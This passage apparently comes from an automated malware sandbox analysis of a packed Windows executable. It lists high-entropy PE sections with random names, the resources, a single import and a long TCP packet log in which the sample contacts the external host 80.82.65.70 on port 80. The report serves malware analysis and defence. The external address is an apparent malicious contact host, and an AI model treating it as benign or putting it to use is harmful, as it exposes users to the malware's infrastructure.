	0x1000	0x40d000	0x25400	31fba5fa96e1395540e9efef28afe584	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	9ce87b72880a366762ab365025330851	False	0.9629961993243243	data	7.891468340788586	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x29f000	0x200	2f8af83cef8beb0778017cdb18c00891	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
whvqijov	0x6c1000	0x1b4000	0x1b3a00	a8ea9af6bc4e8b9f6972e6b23b8d9262	False	0.9845263181492109	data	7.941395599436267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ikwniflt	0x875000	0x1000	0x600	f342a5a74d8b428ff55947a374488ee8	False	0.5774739583333334	data	5.032968353487981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x876000	0x3000	0x2200	430e91e55e0638d616af840c0958402f	False	0.05939797794117647	DOS executable (COM)	0.7505020483771278	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x869a74	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x86a91c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x86b1c4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x86b88c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x86bdf4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x86ce9c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x86d824	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x86dc8c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x86eb34	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x86f3dc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x86faa4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x87000c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x8725b4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x87365c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x873fe4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x87444c	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x8744c2	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x87452a	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x8746e2	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 04:49:11.832593918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:11.951956987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:11.952049017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:11.952402115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:12.071650028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:13.310352087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:13.312354088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:13.320532084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:13.439774990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:13.793663025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:13.796364069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:13.811275005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:13.930560112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.372942924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.372987986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.372997999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373009920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.373043060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.373049974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.373101950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373114109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373125076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373136997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373157024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.373186111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.373302937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.373348951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.381319046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.381386042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.381426096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.381474972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.389683962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.389734983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.389784098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.389833927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.492407084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.492471933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.565145016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.565323114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.565481901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.565536976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.569251060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.569303989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.569407940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.569458008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.577586889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.577644110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.577687025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.577733994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.585932016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.585987091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.586025000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.586074114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.594280005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.594333887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.594433069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.594487906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.602629900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.602678061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.602744102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.602797031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.610958099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.611023903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.611097097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.611146927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.619342089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.619401932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.619438887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.619487047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.627717972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.627768993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.627804041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.627845049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.636106014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.636166096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.636188984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.636218071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.643050909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.643116951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.643134117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.643151999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.650013924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.650073051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.650130033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.650152922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.757075071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.757131100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.757205963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.757252932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.759571075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.759634972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.759673119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.759717941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.764585972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.764647961 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.766422987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.766479969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.766540051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.766582966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.771465063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.771524906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.771555901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.771598101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.776499987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.776556015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.776588917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.776631117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.781527996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.781575918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.781614065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.781663895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.786664009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.786747932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.786838055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.786890984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.791568041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.791626930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.791672945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.791709900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.796586990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.796643972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.796674013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.796714067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.801597118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.801670074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.801696062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.801738977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.806608915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.806663990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.806731939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.806775093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.811642885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.811716080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.811744928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.811784983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.816674948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.816730022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.816812992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.816869974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.821697950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.821765900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.821800947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.821844101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.826714039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.826766014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.826838970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.826888084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.831737041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.831789017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.831854105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.831897974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.836762905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.836816072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.836909056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.836955070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.841789961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.841842890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.841919899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.841962099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.846806049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.846854925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.846930027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.846976042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.855086088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.855154037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.855384111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.855432987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.857058048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.857069969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.857114077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.861834049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:14.861890078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:14.882129908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:15.001473904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:15.363975048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:15.364037037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:17.378513098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:17.497848034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:17.862099886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:17.862751007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:19.879528999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:19.998848915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:20.366354942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:20.366483927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:22.378442049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:22.497730970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:22.862648964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:22.862730026 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:24.878407955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:24.997769117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:25.361615896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:25.361942053 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:27.378602028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:27.497931957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:27.869908094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:27.870007038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:29.878552914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:29.997992039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:30.360241890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:30.360326052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:32.378767014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:32.498150110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:32.866416931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:32.866480112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:34.878743887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:34.998061895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:35.364687920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:35.364743948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:37.424587965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:37.544012070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:37.908860922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:37.908920050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:39.941855907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:40.061338902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:40.426146984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:40.426219940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:43.472301960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:43.591578960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.110517979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.110605955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.110783100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.112025976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.112092018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.112128973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.112176895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.115413904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.115555048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.115613937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.118781090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.118926048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.118982077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.122410059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.122705936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.122755051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.125756025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.125806093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.126054049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.126108885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.188201904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.188359022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.188389063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.188601971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.189871073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.189929008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.189943075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.189986944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.193254948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.193325996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.193382978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.193434954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.196633101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.196686983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.196701050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.196749926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.200012922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.200067997 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.200113058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.200161934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.203373909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.203423023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.203450918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.203500986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.206733942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.206788063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.206851959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.206896067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.210114956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.210165977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.210227966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.210278988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.213469982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.213516951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.213960886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.214010000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.216825008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.216872931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.216950893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.216995001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.220196009 CET	80	49730	80.82.65.70	192.168.2.4
